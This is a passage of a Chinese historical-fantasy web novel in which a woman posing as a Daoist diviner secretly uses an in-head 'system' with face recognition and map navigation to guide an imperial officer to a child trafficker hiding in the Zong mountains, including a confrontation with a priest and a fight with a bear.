她心中叹息,而后将期待的目光投向寅时。寅时静观半晌,提笔在新纸写下一行:谢岛:癸丑年,癸亥月,癸丑日,癸亥时。
搁笔,她看向尚蓓,眼底满是好奇。尚蓓淡定地摸出太极龟壳。
铜钱叁枚落,碎响壹串出
她执笔从容画下那道少阳
阳气初生者,微弱有灵机
而后贰至肆爻似流水行云
上卦乾定又接下卦断与连
末了再将老阳作少阴变就
卦成,尚蓓轻置龟壳,仔细观着上面六爻排布,露出个玄之又玄的神色。
“此为‘水天需’卦。需有孚,光亨,贞吉。利涉大川。”
她余光瞥了眼寅时,见她并无异色,心中暗暗松了口气。而后神思落在系统中那个坐标,斟酌道:
“自锦州至施州,常人必渡明峡,在通岭云聚之坳而入,此为心诚者光明亨通之道。然谢岛此人心术不正,故必将反其道而行之,绕怵峡,过歪岭,终至——”
她信手指在舆图一点。
“施州棕山!”
夏楠当即推案起身,扶刀大步向外走:“我这就去点人。”
房中暂静。寅时愣愣地看向夏楠的背影,又扭回头来看尚蓓,眸中是明显的疑惑。
“尚道友……这就知道了?”
尚蓓维持着自信满满的神色,点点头。
寅时眯起眼目光在她身上来回梭巡,面色从最初的不解,转为一丝审视,最后只轻轻笑了声。
她拱手,语调玩味:“原来尚道友走的是这般路数,贫道受教。”
尚蓓端着淡定的表情,心里却一跳。
她盯着她那副云淡风轻的模样,想起夏楠说的话,犹豫开口:
“不知寅时道友走的是哪般路数?”
寅时意味深长地看了她一眼,而后拂袖起身,慢悠悠开口:“我不过是靠些把戏讨口饭吃,哪里比得上道友云游四方,见多识广。”
尚蓓连忙起身:“道友谬赞了。我也只是些江湖小技,哪里比得上寅时道友,为陛下谋千秋。”
寅时轻笑一声,摆了摆手:“我供职御前,道友云游江湖,你我二人又无利害,何必这般见外。我倒是对道友的道术有些兴趣,不知道友可否再为我演示一二?”
尚蓓心里微动。
她内心斟酌一番,试探着开口:“那,我为寅时道友……相个面吧?”
寅时眸光微疑,而后负手侧身站定,刚巧对上窗外一扇天光:
“也好,那便有劳尚道友了。”
尚蓓定了定神,走到她面前,看了片刻,温言道:“你眨眨眼。”
寅时挑眉,眨了眨眼。
尚蓓故作若有所思地打量了她一番,又道:“你摇摇头。”
寅时微微蹙眉,倒没问什么,只依言左右摆了下头。
【人脸识别完成。联系人-付湫-已添加。】
听见脑海中电子音,尚蓓神思微凝。她目光扫过那案上八字,重新录了一遍。
【联系人已存在。】
她收回目光,浅笑盈盈:“还不知寅时道友名姓?”
寅时面色微冷,语气却依旧平和:“我自蒙师尊指点入道,便已舍弃了凡人名讳。尚道友以道号称我便是。”
尚蓓定定看了她良久,看着脑海中“夏楠”坐标渐渐逼近,才轻声道:“寅时,你才是谢岛弟子吧?”
寅时瞳孔骤缩,而后眉宇间染上一丝戾气。她逼近两步屈指成爪,五根苍白瘦削的皮骨如一副蟒口向她脖颈咬来——
尚蓓纹丝不动,只在心中缓缓数着:
三米、两米、一米。
只听“咣当”一声门响,三枚银镖擦着二人鼻间飞入。寅时猛一后退,背上便被人狠狠攫住压向桌案,案上龟壳铜钱哗啦啦滚落一地。夏楠横刀压在她后颈,语调阴冷:“说。”
寅时不应,只奋力扭头看向尚蓓,眼底血丝密布:“你都知道什么?!”
尚蓓绕到夏楠身后,淡淡出声:“寅时道友若还想复仇,最好不要动心思取我性命。否则,这世上便再无人能找到谢岛。”
夏楠皱眉瞥了她一眼,手上力道更重。寅时脸色几变,忽而怪笑出声:“尚道友果然有观微知著之能。若是擒得谢岛,还望道友留他命回京,让我亲手送他上路。”
夏楠冷哼:“那你也须有命等他回来。”说罢便押着她向外走。尚蓓心里一紧,连忙拦住他:“等等!夏大人不是说过,若寅时道长能为陛下分忧,便是无罪?”
夏楠动作微顿,随即愠色道:“她险些伤害关键证人,阻挠本官查案,便是有罪!”
尚蓓使劲压住他手腕,拼命给寅时使眼色:“她并非有心阻挠案情,方才是我故意激怒她套话。既然寅时道友也是受害者,我们何不齐心协力,先一起抓获那谢岛,再论功过刑赏?”
寅时眸中惊愕了一瞬,而后立刻顺着她的话接口:“方才是我反应过激了,在此给尚道友陪个不是。我虽有些私情不便与诸位言明,但在缉捕谢岛这件事上,绝无异心!”
夏楠眉间凝起阴云,刀背缓缓撤了些力道,却仍扣着她的手腕没松。
“此事干系重大,我信不过你。你把自己知道的都交代了,暂押外监,等我回来再酌情判处。”
寅时偏过头嗤了一声,没再挣扎,只慢悠悠道:“我知道的已经交代了,其它的,让尚道友观微知著去吧。”
“倒是夏大人。”她挑衅般看向他,“可要擦亮眼睛,莫步了那王坝的后尘。”
夏楠没应,押着她到门□□给亲信。转身,他冷道:“去准备,即刻出发。”
尚蓓严肃应下,正此时,脑海中传来熟悉的电子音:
【信誉分+10】
而后是另一串播报:
【检测到用户信誉分达到600,出行权限-骡-已解锁。】
她面上一喜,拉住夏楠:“我……忽有所感,可以试试骑骡子了!”
——
暮色四合,西城门外,尚蓓灰袍青骡,夏楠则玄衣黑马,堪立在一丈之处。南风阵阵,长庚初明,只听一声令发,快马踏踏先驰出,渐把那骡骑甩后。
尚蓓身前是夏楠开路,身后还缀着两个亲信。骡子脚力比驴确实快些,但仍然比不上马。尚蓓心知,整支
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小队都在迁就自己的速度。她夹紧骡腹,伏低身子,尽量减少风阻。
初时道旁还有零星农家,而后连这点烟火气也渐渐消失,只余连绵树影。一个时辰过去,天彻底黑下来。前路愈发晦暗,尚蓓看不清路,好在骡子聪慧,自己便知道跟着前面的马儿跑,她只需努力坐稳,同疲倦作斗争。
又一个时辰过去。尚蓓的腰开始发酸,嗓子也干得冒烟。她分明仔细围了口鼻,却仍然挡不尽道上尘沙。
“过了前面那座桥——再行二十里——就到宜城了——”
夏楠的声音混着风声与马蹄声自前方送来。
“在宜城稍作休整——换骡喂马——卯时前从泷口渡上船——”
尚蓓勉强打起精神应了一声,悄悄掐了自己一下。
她内心投向系统。施州背靠棕山,离京城千里之遥,但还好中间有段水路可走,约莫五日可至。
再坚持一下,就今晚熬夜行路累些。待坐上船,至少能躺着。
子夜时分,一行人终于到了宜城驿。驿丞早得了消息,带人等在门口,见他们到了,连忙迎上来牵马牵骡。
夏楠利落翻身下马,而后将马匹交给驿丞,动作间丝毫不见疲色。他对亲信嘱咐了几句,而后对尚蓓道:“我命人去买骡,你先歇一会。”
骡子已然累成一滩烂泥,垂头耷耳。尚蓓摸索着从骡背上滑下来,腿也是一软,差点跪在地上。夏楠眼疾手快扶了她一把,尚蓓扣着他掌心起身。
感受到那虚浮的力道,夏楠眉头皱起,却没多问,只把肩膀往她跟前又凑了凑。
笼灯昏黄,有灰蛾乱扑檐墙,发出轻微的噗噗声。她紧紧扶住他小臂,略一稳心神,沉声道谢:
“多谢夏大人。”
夏楠没应,顺势将她的手向驿馆方向带了带。尚蓓也不再逞强,跟着驿卒入到一间厢房。房内陈设简单但干净,一桌一床,桌上一盏油灯,床下一壶热水。尚蓓关上房门,小心坐到床边。
她先猛灌了几口水,而后解开袍带,摸向腿侧那一片红肿,不禁倒吸一口凉气。尚蓓咬着牙,一点点把布料揭开,先拿条布巾沾水擦净,又从包袱里摸出金疮药和布条,强忍着撒了药粉,最后一层层缠好布条,力求多垫几层。
做完这一切,尚蓓向后重重一仰,躺在床上。
她将意识投向系统,看到郑吉,看到陈歆,看到王耕,还有另外的四个名字。
这些时日,他们的坐标毫厘未动。因着那过于明显的臂伤特征,夏楠已经派人暗中锁定了他们。
但现在还不能动。她闭上眼,努力压下心中焦急。
纵然现在可以立刻救出这七人,但剩下的怎么办?那些没有家人惦记的,乃至被家人主动卖出去的——
恍惚间,她仿佛又看到了无数隐藏的名字。
有人哭喊着,有人咒骂着,还有人已经丧失了哭喊的能力,亦或咒骂的意志。
东方既白时,尚蓓猛地睁开眼。不好,睡着了!
她拖着酸软的身子爬下床,急急理好衣服出门,在驿馆外院见到了夏楠。
他正一刀劈开晨光,又翻手引动风啸。回身拧腰时,衣褶散如满扇开,恰与她对视,骤定收刀入鞘,向一旁骡马甩首。
“休息够了?”
尚蓓点点头,绕过他的旧马,摸上新骡。
“走!”
16. 抵达施州
锦衣卫外监,一袭高挑的白衣翩然下阶。所过之处,校尉无不恭敬行礼。
一个千户提着灯走在她身前,腰躬得极低。
“国师大人,下官也是听命办事,但绝对没敢动寅时道长分毫!您看,要不要——”
“不必了。夏镇抚既然将她暂押于此,必有道理,贫道不会干预。”
那声音平淡如水,却无形间驱散了牢中冷硬。国师面容约莫三十许,眉目宽和,眼尾略有些细纹,青丝工整盘在脑后,半缕碎发也无。她向左右轻轻颔首,而后跟着引路人来到一间牢外。
牢房狭窄而干净,头顶一扇窗透进天光。寅时靠在墙根闭目打坐,身上仍是那袭白衣,听见声音,她连忙起身迎到栏前,恭敬行礼:
“师尊。”
“你怎么招惹了北镇抚司?”国师平静开口。
寅时左右看了看,起身凑到她耳边,低语道:
“师尊,我怀疑夏镇抚身边那个卦师是雾霭门后人。”
国师袖袍微动。
“何以见得?”
寅时语速极快:“师尊曾教我,这世间道法,不过是些人心把戏。那卦师大张旗鼓借走太极龟壳,又大费周章要走谢岛八字,却只摆弄了一番玄虚,便自信满满号称找到了谢岛,而夏镇抚使就这么信了。”
她声音压得更低:“我怀疑,她是先勾结亲信,设了些看似‘灵验’的小局,骗取夏镇抚使信任,而后做这一场大局,引他去棕山,暗布杀机。”
国师静静听她说完,沉默半晌,才缓缓开口:“那卦师,还做了什么?”
寅时抿了抿唇,将尚蓓点破她身份的事细细说了一遍,末了又补道:
“许是我身上伤痕不似半年之短,故而令她起了疑。只是她竟未在夏镇抚面前点破我,恐怕是另有图谋。”
国师未置可否,又问:“这十日之内,他们可还有旁的动作?”
寅时微微偏头,仔细想了想,谨慎道:
“那卦师一直借宿夏镇抚家中,除了突然说要借太极龟壳,未见有其它异常。倒是北镇抚司近日抓牙人抓得极紧,但凡抓到手里有一个拐卖,便严格按律流三千里。连陛下都曾调侃,说夏镇抚使有些小题大做。”
国师闻言,轻笑一声,鱼纹微舒。
“寅时,你可还记得我教你,如何分别正道与邪道?”
寅时微愣,少倾,她垂眸应声:“害人便是邪道,助人便是正道。”
“不论她用了什么骗术,能把北镇抚司当成打拐的官差使唤,便与那雾霭门不同了。”国师拍拍她肩膀,“你且放心在这牢里住几日,施州那边,我会暗中关注。”
寅时咬了下唇,垂首应道:“徒儿明白了,多谢师尊提点。”
国师点点头,不再多言,转身轻步走出监牢。
——
五月廿二,辰时,雾锁泷江,有疾舟破障而下,直指施州。船头一人玄衣扶刀,斥舷而立,发丝微扬。
听见身后动静,他回首,往旁边让了半步,沉声道:“道长身子可好些了?”
尚蓓小心走到他身侧,站稳,扶住船舷:“好多了。船里闷得慌,出来透透气。”
夏楠“嗯”了一声,扭回头。
尚蓓抬眸望去,见两岸雾重,青山廓隐,一叶舟轻,绿水波平。她深深吸了口气,只觉肺腑皆潮腥,不禁有些失望。
“没什么好看的。”她忍不住小声嘀咕。
夏楠闻言瞥了她一眼:“道长倒是闲情逸致,还有心思赏景。”
“只是想换换心情。不然,一静下来,脑中全都是那些孩子。”她趴在船舷,盯着细浪出神,随意开口,“夏大人跑案子,应当去过不少地方吧?”
夏楠沉默片刻,低声道:“北镇抚司当差,走的多是穷山恶水,哪有闲心看景。”
一团浓雾扑面而来,尚蓓抬手抓了一把,满手湿,在袍角擦擦。
“那也比我好。连驴都骑不了那会儿,我可是寸步难行。我从……白鹿山下来,到邱城,全都是腿过去的。”她说着立起两根指头,在船舷走了两步,直走到夏楠身前。
夏楠盯着她那闲庭信步的指尖,喉咙微紧。
他斟酌着开口:“道长……脚力不错。”
尚蓓微愣,随后噗哈哈哈笑出声:“夏大人,您还真把我当匹骡子评价了?”
夏楠窘迫地别过眼去,耳根微红,半晌,才找回声音:“我是说……道长从前辛苦。等你骑得上马了,我亲自给你挑一匹最稳当的。”
尚蓓笑够了,也顺着他的话转回来,重新靠回船舷上:“那我就先谢过夏大人了。”
小舟又行半里,一时无话。
“道长可有想去的地方?”夏楠忽然开口。
尚蓓托着脑袋想了想。
“嗯……那就函谷关吧,也算圣地巡礼咯。”
夏楠只听懂了前半句,但不妨碍他理解后半句,心里不禁莞尔。
“道长要学老君青牛出函谷?那你可得先攒出五千言来,不然被守关令拦下,没法交代。”
尚蓓歪头摊手:“那我就回来呗,又不是非得出去。”
夏楠一噎,随后低笑一声:“道长想出,便出。若有人拦你……”他拍拍腰间佩刀,“先问这个。”
恰有一缕阳光穿透迷雾,照在他刀鞘纹路。尚蓓看着那点磷光,静默片刻,而后一拱手:
“夏大人这话,我记下了。”
她又回眸望向江面。浓雾半消,骄阳初照。尚蓓伸手张开五指,透过指缝看了看,手腕微转,金芒闪动。
“不过棕山这条路,也要拜托夏大人开道。”
夏楠扶刀,轻应:“定不负道长所托。”
接下来的日子,尚蓓渐渐适应了船上的生活。大多时候,她会躺在舱中养神,偶尔到船头站一站,跟夏楠说几句话,看看风景。白日看青山,子夜观星河,若抛开案子不谈,倒也有几分闲逸。
可惜好景不长,五日后,水路到头,换陆路。她又咬牙跑了两日骡,终是在第八日到达了施州郡。
早有校尉候在城门,见夏楠一行人到来,连忙上前拱手道:“夏大人,卑职施州卫所校尉赵迁,奉令在此候命。”
夏楠颔首,面色冷沉:“住处准备好了?”
“回大人,在城南一处宅院,清静方便。马匹和车驾都已备好。”
夏楠翻身上马,尚蓓驱骡跟在一丈外,随赵
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迁穿过施州城。
施州郡虽不及京城繁华,但也远比邱城大得多。街上人来人往,沿街摊贩的吆喝声此起彼伏。不多时,一行人到了住所。尚蓓同夏楠打了个招呼,随仆役进到厢房。
她先处理了一番伤口,而后要来热水与巾帕。八天没洗澡,她早已难受得要命,此刻却仍顾不上精细,只粗略擦过身子,重新挽了发髻,便换上干净衣裳,疾步走到前厅。
前厅之中,夏楠已同几个下属接上了头。他也换了身衣裳,整个人看起来清爽了不少,见她进来,轻轻颔首。
“道长来了。坐。”
尚蓓却没坐。她三两步靠近众人,抬手撑在厅中案上,急不可耐道:“我们什么时候出发?”
夏楠一压手,示意她坐在身旁空位。
“道长莫急。谢岛的近况,我再同你说一遍。”
尚蓓强压下心中的焦急,勉强点点头坐下,侧耳,神情专注。
见她坐立不安,夏楠也不多铺垫,开门见山:“我的人在施州调查了一番,怀疑那谢岛就是方明观的观主,细叶道长。”
他点在案上舆图一处位置,“据说这原本一个小道观,访客不多,但自他六年前到施州,从老观主手中接过来,这道观便渐渐兴盛。去岁案发之后不久,他便号称云游去了,而今那道观是副观主在主持,我的人已经盯紧了他。”
“六年前?”尚蓓敏锐地捕捉到这个时间。
“是。这时间同最早的失踪记录对不上,故而我猜他到施州后,先潜伏了一段时间,或许是获得了什么人的支持,才重新开始做这勾当,乃至将手伸到了整个周都。”
尚蓓垂眸看着那舆图,沉吟片刻,缓言道:“那他选择躲进棕山,会不会是支持者的意思?”
夏楠与几个属下对视一眼,眼中皆有些谨慎。
半晌,夏楠才沉声接话。
“尚道长,事关朝廷重机,恕我不便深言。道长只管指路,剩下的,交给我。”
尚蓓听罢,亢奋的情绪慢慢冷静下来。
他终究是锦衣卫,行事皆为皇帝的利益服务。王御史自杀,已经说明了此案绝非普通的邪道害人。有些事,她还是别沾为妙。
思绪电转,她抬眼,坦然看向夏楠:“我懂,夏大人也是为了我好。既如此,咱们只谈谢岛。”
夏楠暗暗松了口气,起身,将舆图正前的位置让给她:“还请道长相助。”
尚蓓顺势挪过去,表面掐着指,实则比对着脑海中的定位,仔细斟酌了许久,才慢慢指在棕山一处。
“应该是这附近。”
古代舆图不够精细,那棕山又是深山野林,舆图上只有大致范围,既没有比例尺,也没有等高线。她也只能粗略标个点,具体还需她实时导航。
夏楠迅速在她指的位置画上标记,而后对左右道:“去探路。”
随后转向尚蓓:“道长先休息一日,养好精神,我们明日出发。”
“我现在就可以走!”尚蓓一皱眉起身,严辞出声,“拖一日,那些孩子就要多忍一日的刀子!”
夏楠抬头直视她,眸色沉沉。
“尚蓓。”他声音紧绷,“你去休息,别拖后腿。”
17. 刀鞘
尚蓓的神色僵在脸上。
她下意识地垂眸,瞥向自己隐隐作痛的双腿,目光一触即扬,又落入他漆黑的瞳仁。她仓皇移开眼,却不知往哪儿放,只得去盯那舆图上的标记。
她知道夏楠说的是实话。就算她前几日突击做过些锻炼,体力仍然不及他们,强行跟着上山,若是真出了什么意外,反而要分出人来照顾她。
可一想到那些孩子还在大周各地受苦,她便连一刻钟都等不下去。
就在此刻,脑海中响起一个冰冷的电子音。
【联系人-陈歆-已失效。】
她心口一紧,意识磨磨蹭蹭地飘到面板上,触及那个灰色的标签。鼻子一酸,几乎要落下泪来。
他才十岁。
夏楠见她面色骤白,随即眼眶泛起薄红,只当是自己话说重了,不由得微微抿唇。
他试着将语气放软了些:“道长虽知方位,却未必熟悉山路。我着人探路,本也需要时间。我们不如借机休整一番,准备万全再出发。”
尚蓓深吸一口气,努力压下胸中那股酸涩。
她可以说自己认路,可以找其他理由解释自己的异常,但她看得出,他是打定主意要她歇一日,说再多也无用。
她别过脸,终是哑着嗓子开口:
“那……你也需要休息。”
夏楠眉宇微舒,轻轻“嗯”了一声。
“道长放心吧。我今日没什么要务,至多再审几个证人,都是轻省的活计。”
见尚蓓神色一振,就要开口,他连忙补充了一句:
“牢狱里腌臜,道长还是莫要跟来为好。若审出新情报,我定会及时告知与你。”
尚蓓面色又是一僵。
她微微咬唇,终究还是没说自己不介意。
“我知道了,多谢夏大人。”
说罢,她便不再留恋,转身退回自己的厢房,要来热水,将自己从头到脚仔仔细细洗了一通。
而后爬上床,闭上眼。
许是确实连日疲倦,沾到床,尚蓓倒头就睡了过去。然而他们一行人抵达也不过正午,她再睁眼时,天色依旧大亮。
尚蓓睁着眼又躺了一会,在脑海中反复确认着那些坐标。
幸存的六个孩子依旧纹丝不动,但大周各地的失踪人口已然有了各自的生活轨迹。她粗略看了几个,便一一删除。联系人栏位有上限,她眼下不必再关注这些坐标,左右以后有需要还可以随时录入。
“沈鸯”在邱城沈家。这些日子,她的生活大概颇为自在,满邱城都有她的轨迹。想来从外省接回一个如花似玉的女儿,沈源也巴不得捧在手心里,就不知沈家那几位少爷小姐是何感想。
“付湫”在北镇抚司外监没动过,但她毕竟是国师弟子,大概不会有人专程给她罪受。
“谢岛”一直窝在棕山深处。放大地图去看,似乎是在一处山谷里,附近还有几间房屋,许是有个小村庄。而“夏楠”,正在棕山外围缓慢挪动着。
尚蓓看了那坐标一会,忽然笑出一声。
审证人,要到山里去审?
还真是个工作狂。
——
次日酉时,一行人载着暮色到了棕山山脚。迎着巍峨的大山,尚蓓在心中道:“系统,定位谢岛。”
【准备出发,全程五点二公里,预计耗时六小时三十二分钟。】
【沿当前道路,向西出发,步行一点五公里。】
她看了眼暗沉沉的山路,再次给自己打气。
不就是夜爬吗!说不定早上到顶刚好看日出了!
尚蓓掐指摆了个架势,而后对着西侧那条土路遥遥一点:
“根据贫道所算,那谢岛应当在这个方向。”
夏楠眼神示意几个亲信断后,守在尚蓓身前半尺,扶刀迈进。
然而,尚蓓很快就发现,这一趟,不只是夜爬,更是野爬。
这棕山可不是她前世的风景区,有石梯栈道可走。仅有的这点土路,完全是山下农户踩出来的,且入山越深,路越潦草。才行二里,左右草木渐盛,将本就不宽的土路挤得更窄。树冠遮蔽了大半夕阳,山林间勉强透着些稀疏的暖晕。
尚蓓踩着夏楠的脚印,一步一步向前走,暂时还算轻松。
日落西山,天完全黑下来。夏楠抬眼看了看,回头作了声鸟鸣。晦暗中,有轻应的声音传来。借着微弱的月色,一行人走了一个时辰,道旁灌丛愈发拥挤,土路已然到了尽头。
“往这。”尚蓓微微喘着气,仔细听着脑海中的声音,虚指向林旁一侧。夏楠自身侧抽出把短匕,在旁边树干刻了个印记,而后削断一丛半人高的荆条。
“还走得动吗?”他回身看她。
尚蓓低应了一声,摸出水囊灌了一口,跟上。忽有藤蔓绊住脚腕,她有些焦急地挣了两下,没挣开。察觉她落后,夏楠回身站定,没说什么,只伸出胳膊让她借力。
尚蓓低声道了句谢,倚着他,把重心移到左脚,摸索着将右脚从草窝中退了出来。藤条上似乎有些细小的绒毛,摩擦间带来一阵瘙痒。她悄悄在裤腿上挠了挠,松开夏楠的手,示意他继续走。
山中隐隐有野兽的嘶吼。尚蓓步子一僵,随后死死捂住嘴。夏楠侧耳听了片刻,低声道:“离得很远,莫怕。”
尚蓓强忍着点点头,也不知夏楠能不能看见。
前侧黑影微静,而后,忽有只刀鞘探过来。
“抓着。”
熟悉的声音入耳,尚蓓犹豫了一瞬,伸手握住那鞘端。
这柄刀,她见过许多次,还是第一次摸。
入手微凉,她指腹下意识地搓了搓,感受到一截细密的糙意,似乎是某片纹理。她低头想去看清,却只能看见一条黑黢黢的影子。
这刀鞘三寸之处,刻的是什么来着?云水纹,还是风雷纹?
未及细想,刀鞘那端动了。尚蓓定了定神,继续小心向前,极力压抑着自己的喘息。
复行三百步,转过一道断壁,便到一处坳口。眼前豁然开朗,周遭乔木稀疏,望眼去,明月照尽环山。谷底隐隐有几点火光,明显是有人居住。
余光瞥见一抹细闪,尚蓓低头,才看清那鞘端刻的原是卷草纹。
“镲!”
金戈骤鸣,尚蓓忽觉手上一轻,回神时,掌心空垂一截刀鞘。那森森寒刃已然被夏楠抽出在手,只见他脊背紧绷,死死盯着前方一片灌木。身后立时响起疾步奔袭的声音,然而不等亲信赶到,月色下,一个黑影猛然从灌木中冲出来!
“吼——”
未及尚蓓反应过来,她便被夏楠往亲信的方向一推,刹那间,黑影已扑至她方才的位置。尚蓓勉
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强往后退了几步,躲到先前的断壁之后,见那竟是一头半大的棕熊,不禁倒吸一口凉气,手心捏了把汗。
夏楠旋身错步,堪堪避开熊爪,挥手引动一道刃光直劈熊腹。棕熊吃痛怒吼着转身,狠狠回来一爪,掌风间裹挟着足以拍碎颅骨的威压,却被他一矮身躲过,反手向它腋下又是一戳。
两名亲信恰在此刻赶了上来,一个直扑上前,横刀扫向熊腿;一个扶刀护在尚蓓身旁,抬腕射出一道弩箭刺入熊眼。棕熊连遭重创,怒极转身扑向新来的校尉。校尉娴熟地一滚,动作间将熊颈引向夏楠。夏楠踏前一步,刃尖送入熊颈。
“嗷呜——”
棕熊痛苦地咆哮两声,发疯般四下乱撞,连连撞断几棵矮树。夏楠虚拦在尚蓓的方向,紧紧握着刀柄,见它动作渐渐乏力,最终发出一声呜咽,身躯轰然倒地,惊飞对山群鸦。
夏楠定定看了半晌,确认棕熊已然失却了生机,这才小心倒行几步,借着一旁麻叶擦了擦刃上血迹,回眸,将刀柄往尚蓓轻递半寸。
尚蓓还未从方才的惊险中回过神,见他又递了半寸,才猛地反应过来,连忙将刀鞘捧过去。夏楠接过,收刀入鞘,自腰间翻出块令牌,递给那用弩的亲信道:
“你去施州府调兵,卯时前封死所有拗口,不许任何山民进出,等我明日信号,立刻下谷围剿。”
那亲信应声而退,夏楠又令另一名亲信守在拗口,等待接应,便先一步往前劈开灌木丛开路。尚蓓定了定神,刚要跟上,腿肚子却忽然打了个颤。夏楠眼疾手快,伸手托了她一把,低声问:“崴到了?”
尚蓓摇摇头,借着那股力道站稳:“没事,就是吓的。”
夏楠没多问,只重新把刀鞘递到她手里:“抓紧。”
尚蓓握紧微凉的鞘身,心中莫名安定下来。她抹了把汗,咬牙忍下双腿的酸软,努力跟上他的步伐,指引着夏楠缓缓向谷中下行。
又行数十步,脚下忽然掠过一只不知什么小动物,惊得她小腿一抽,手上下意识地用力抓紧,连带着刀柄也向夏楠一拱——
夏楠身形一晃,竟也略有些趔趄,却迅速稳住下盘,反手去扶她。
惊魂初定,尚蓓低声道过谢,犹豫了一瞬,试探着松开了刀鞘。
察觉佩刀那端力道一松,夏楠脚步微顿,站定回首,双眸与夜同色。
“这段路还算平整,我自己走吧。”尚蓓在黑暗中移开眼,小声解释。
她虚虚指了个方向,“应该也快到了,大概还有半里地。”
夏楠看了她片刻,收回佩刀,又把手递给她。
“这样,我好用力些。”
尚蓓微愣。她看着那黑暗中一片浅青,指尖踌躇片刻,终究还是轻轻搭了上去。
掌心相触,她又摸到他的厚茧。
夏楠侧着身子,慢慢牵着她向下走。尚蓓将步伐迈得极稳,未曾再晃一步。
约莫又走了一刻钟,谷底的情状渐渐分明。夏楠在一处缓坡顿住脚步,揽着她伏进草木阴影里。
透过草木的间隙,尚蓓比对着脑海中地图,隐约看出几间土房与木屋。这似乎是个寨子,寨门口有两个木搭的哨塔。塔中的情况看不分明,但她知道谢岛在哪间屋子。
尚蓓点了点北侧一间孤零零的木屋。
“谢岛。”她口型对夏楠道。